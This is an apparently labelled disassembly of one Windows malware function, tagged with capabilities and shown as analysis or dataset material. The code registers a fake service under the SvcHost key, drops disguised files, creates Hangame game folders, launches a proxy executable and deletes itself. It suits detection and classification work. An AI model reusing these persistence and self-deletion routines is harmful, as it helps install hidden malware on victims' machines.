Function at 0x402647
Capabilities:
Create directory
Create process on windows
Get common file path
Persist via windows service
Query environment variable
Query or enumerate registry value
Self delete
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3be0
call fcn.00406bf0
mov eax, dword [0x437050]
xor eax, esp
mov dword [esp + 0x3bdc], eax
push esi
push edi
call fcn.0040da86
cmp dword [eax], 2
jne 0x402ca5
call fcn.0040da8c
push 3
push dword [0x432780]
mov eax, dword [eax]
push dword [eax + 4]
call fcn.0040dce0
add esp, 0xc
test eax, eax
jne 0x402ca5
push 0xce4
push 0x438e04
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
call esi
push eax
call fcn.0040d0d7
pop ecx
call fcn.004010a1
push 0x438f28
mov edi, 0x104
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
mov esi, 0x439030
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ecx
mov ecx, esi
call fcn.0040183f
push 0x4337c8
mov ecx, 0x438e20
call fcn.00402278
push edi
mov esi, 0x439140
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ecx
mov ecx, esi
call fcn.0040183f
call fcn.00402592
mov eax, dword [str.clr_optimization_v3.5.10809_32]
xor edi, edi
mov esi, edi
jmp 0x40272e
mov ecx, eax
call fcn.00404cf0
test eax, eax
jne 0x402b6c
mov eax, dword [esi*4 + 0x432794]
inc esi
test eax, eax
jne 0x402717
mov edx, dword [0x4326b0]
mov ecx, dword [str.clroptsrc.dll]
call fcn.00402fd0
cmp eax, 1
jne 0x402b6c
mov eax, dword [str.clr_optimization_v2.5.10403_32]
mov dword [esp + 0xc], edi
test eax, eax
je 0x40283b
xor esi, esi
mov edi, 0x4326d4
mov dword [esp + 8], esi
mov ecx, eax
call fcn.00404cf0
push ecx
mov ecx, dword [edi]
or edx, 0xffffffff
call fcn.00404d74
mov edx, dword [esi + 0x432778]
pop ecx
push dword [esi + 0x432674]
mov ecx, dword [edi]
push dword [esi + 0x4326a4]
call fcn.00404e84
pop ecx
pop ecx
test eax, eax
je 0x402b6c
mov esi, dword [edi]
lea eax, [esp + 0x10]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402b6c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 7
push 0
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x402b6c
mov esi, dword [esp + 8]
mov edx, dword [edi]
mov ecx, dword [esi + 0x432798]
call fcn.00404f6b
test eax, eax
jne 0x402b6c
mov edx, dword [edi]
mov ecx, dword [esi + 0x432798]
call fcn.0040501e
test eax, eax
jne 0x402b6c
mov eax, dword [esp + 0xc]
inc eax
mov esi, eax
mov dword [esp + 0xc], eax
shl esi, 2
mov dword [esp + 8], esi
lea edi, [esi + 0x4326d4]
mov eax, dword [edi]
test eax, eax
jne 0x402768
xor edi, edi
mov eax, dword [str.intorsf.exe]
xor esi, esi
inc esi
test eax, eax
je 0x402870
push 4
pop ecx
mov edx, dword [ecx + 0x4326b0]
mov ecx, eax
call fcn.00402fd0
cmp eax, 1
jne 0x402b6c
inc esi
mov ecx, esi
shl ecx, 2
mov eax, dword [ecx + 0x432680]
test eax, eax
jne 0x40284a
call fcn.0040238f
mov edx, dword [str.clroptsrc.dll]
mov esi, 0x439140
mov ecx, esi
call fcn.00402e9b
mov edx, dword [str.intorsf.exe]
mov ecx, 0x439030
call fcn.00402e9b
mov edx, dword [str.mscuicpl.dll]
mov ecx, 0x439030
call fcn.00402e9b
mov edx, dword [str.intorsfx.exe]
mov ecx, esi
call fcn.00402e9b
mov edx, dword [str.mscuicpl32.dll]
mov ecx, esi
call fcn.00402e9b
mov edx, dword [str.tlsmon.exe]
mov ecx, esi
call fcn.00402e9b
mov edx, dword [str.wmispm.exe]
mov ecx, esi
call fcn.00402e9b
push 0x3f8
lea eax, [esp + 0x94]
mov dword [esp + 0x20], 1
push edi
push eax
mov dword [esp + 0x24], 0x400
mov dword [esp + 0x94], 0x6e6f685c
mov dword [esp + 0x98], 0x726867
call fcn.00407830
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x20019
push edi
push str.SoftwareHangameHanStarter2GameQ6pGlZRg
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40299f
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x6c4]
push eax
lea eax, [esp + 0x24]
push eax
push edi
push str.folder
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40299f
lea edx, [esp + 0x88]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402965
lea edi, [esp + 0x6c0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402976
mov ecx, edx
lea eax, [esp + 0x6c0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4029d5
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push str.C:Hangame
call esi
push edi
push str.C:HangameHanStarter2
call esi
push edi
push str.C:HangameHangamePoker
call esi
push edi
push str.C:HangameHanStarter2Poker
call esi
push edi
push str.C:HangameHangamePokerhonghr
call esi
push edi
push str.C:HangameHanStarter2Pokerhonghr
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [str.clr_optimization_v2.5.10403_32]
mov dword [esp + 8], edi
test esi, esi
je 0x402a47
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x402a30
push 0x14
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x402a19
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402a30
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, dword [esp + 8]
inc eax
push 0
mov dword [esp + 0xc], eax
pop edi
mov esi, dword [eax*4 + 0x4326d4]
test esi, esi
jne 0x4029ed
mov eax, dword [str.clr_optimization_v2.0.218119_86]
mov esi, edi
jmp 0x402a66
push ecx
mov edx, 0x7d0
mov ecx, eax
call fcn.00404d74
mov eax, dword [esi*4 + 0x4326e4]
inc esi
pop ecx
test eax, eax
jne 0x402a50
lea eax, [esp + 0x28]
push eax
call fcn.0040e1e2
pop ecx
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x490]
push eax
call fcn.0040d368
lea eax, [esp + 0x494]
push eax
call fcn.0040d0a3
add esp, 0xc
add eax, 0x7e90
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
adc edx, edi
mov dword [esp + 0x24], edx
push eax
lea eax, [esp + 0x490]
push eax
call fcn.0040d368
mov esi, 0x104
lea eax, [esp + 0x4b8]
push esi
push edi
push eax
call fcn.00407830
mov eax, dword [esp + 0x4b0]
add esp, 0x14
inc eax
push dword [esp + 0x48c]
push dword [esp + 0x494]
push dword [esp + 0x49c]
push dword [esp + 0x4a4]
push eax
push dword [esp + 0x4b4]
lea eax, [esp + 0x4c8]
push str._d_02d_02d_02d_02d_02d
push esi
push eax
call fcn.004022bb
add esp, 0x24
lea eax, [esp + 0x5b8]
push esi
push edi
push eax
call fcn.00407830
add esp, 0xc
lea eax, [esp + 0x5b8]
push dword [0x4326d4]
push str.SYSTEMControlSet001Services_sSecurity
push esi
push eax
call fcn.004022bb
lea ecx, [esp + 0x4c0]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b49
sub ecx, edx
lea eax, [esp + 0x4b0]
push ecx
push ecx
push eax
push ecx
lea edx, [esp + 0x5c8]
call fcn.00405144
add esp, 0x10
mov edx, dword [str.Proxy.exe]
mov ecx, 0x4338f0
call fcn.00402e9b
push 0x44
pop esi
push esi
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00407830
xor eax, eax
mov dword [esp + 0x4c], esi
mov word [esp + 0x7c], ax
lea edi, [esp + 0x3c]
stosd dword es:[edi], eax
add esp, 0xc
mov dword [esp + 0x6c], 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x30]
push eax
xor edi, edi
lea eax, [esp + 0x44]
push eax
push edi
push edi
push 0x20
push edi
push edi
push edi
push str.C:Proxy.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x438e04
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push edi
push 0xa
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov esi, 0x1060
lea eax, [esp + 0xac0]
push esi
push edi
push eax
call fcn.00407830
add esp, 0xc
lea eax, [esp + 0x1b20]
push esi
push edi
push eax
call fcn.00407830
add esp, 0xc
lea eax, [esp + 0x2b80]
push esi
push edi
push eax
call fcn.00407830
add esp, 0xc
lea eax, [esp + 0xac0]
mov esi, 0x830
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x402ca1
push esi
lea eax, [esp + 0xac4]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x402ca1
lea eax, [esp + 0xac0]
push eax
push 0x4338f4
lea eax, [esp + 0x1b28]
push esi
push eax
call fcn.0040231a
add esp, 0x10
lea eax, [esp + 0x2b80]
push esi
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x402ca1
push edi
push edi
lea eax, [esp + 0x1b28]
push eax
lea eax, [esp + 0x2b8c]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
cmp eax, 0x20
setg cl
mov eax, ecx
jmp 0x402ca8
xor eax, eax
jmp 0x402ca8
or eax, 0xffffffff
mov ecx, dword [esp + 0x3be4]
pop edi
pop esi
xor ecx, esp
call fcn.00405dfb
mov esp, ebp
pop ebp
ret 0x10